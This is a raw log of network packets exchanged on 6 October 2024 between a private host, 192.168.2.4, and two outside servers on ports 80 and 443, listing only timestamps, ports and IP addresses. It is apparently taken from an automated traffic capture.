Oct 6, 2024 22:33:14.948753119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948769093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948776960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948787928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948802948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948815107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948831081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948842049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948854923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948868990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948879004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948892117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948903084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.948915958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.948939085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.997438908 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.997961044 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.997982979 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:14.998429060 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:14.998435020 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.030683041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.030766964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.031215906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.031260967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.041904926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.041970015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.041980982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.041995049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042017937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042038918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042078018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042093992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042108059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042117119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042135000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042141914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042156935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042191029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042362928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042378902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042393923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042404890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042417049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042429924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042438030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042452097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042464972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042479038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042489052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042503119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042515993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042527914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042536974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042550087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042589903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042712927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042727947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042745113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042762041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042772055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042783976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042802095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042853117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.042895079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.042994976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043009996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043024063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043035030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043044090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043061972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043073893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043088913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043102980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043117046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043126106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043138981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043148994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043162107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043171883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043185949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043195963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043209076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043224096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043234110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043247938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043265104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043273926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043288946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043303013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043318987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043329954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043344975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043350935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043368101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043401957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043418884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043771982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.043818951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.043979883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044002056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044020891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044028997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044043064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044049978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044060946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044076920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044084072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044096947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044109106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044121027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044133902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044145107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044153929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044167042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044181108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044190884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044209003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044215918 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044229031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044243097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044258118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044270992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044285059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044296026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044310093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044320107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044337034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044344902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044354916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044365883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044375896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044399977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044755936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044773102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.044809103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.044979095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045006990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045022964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045028925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045041084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045054913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045067072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045079947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045089006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045101881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045114994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045125961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045136929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045150042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045159101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045171976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045190096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045197964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045208931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045222998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045231104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045243025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045258045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045274019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045284033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045303106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045310974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045317888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045331001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045341969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045355082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045381069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045387983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045766115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045779943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045794010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045823097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045836926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045917988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045933008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045947075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045962095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.045970917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.045989990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046000957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046011925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046026945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046036005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046050072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046058893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046072006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046082020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046094894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046103954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046118021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046127081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046139002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046149969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046164036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046173096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046185017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046195030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046207905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046216965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046230078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046241999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046253920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046263933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046277046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046287060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046309948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046874046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046889067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046902895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046916008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046928883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046935081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046943903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.046957016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046972036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046986103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.046996117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.047024965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.047034025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.047075033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.047116995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.049990892 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.050343037 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.050355911 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.050717115 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.050723076 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.098795891 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.098871946 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.099163055 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.099163055 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.099163055 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.101633072 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.101656914 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.101727962 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.101840019 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.101852894 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.121161938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121186972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121206999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121228933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121268988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121288061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121299028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121311903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121323109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121346951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121432066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121447086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121462107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121476889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121486902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121507883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121526957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121579885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121593952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121615887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121623039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121632099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121644974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121654034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121669054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121679068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121700048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121722937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121736050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121750116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121759892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121773005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121792078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121829987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121846914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121860981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121871948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121880054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121892929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121901035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121916056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121932983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121941090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121949911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121965885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121973038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.121985912 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.121998072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122009993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122020006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122040987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122194052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122208118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122222900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122245073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122251987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122267008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122273922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122289896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122304916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122313023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122328997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122344017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122360945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122381926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122551918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122565985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122581005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122596025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122607946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122621059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122631073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122639894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122653008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122663021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122674942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122684956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122698069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122708082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122721910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122731924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122745037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.122754097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122777939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.122984886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123006105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123017073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123030901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123039961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123053074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123063087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123075962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123085022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123099089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123107910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123120070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123130083 CEST	49741	80	192.168.2.4	141.98.233.156
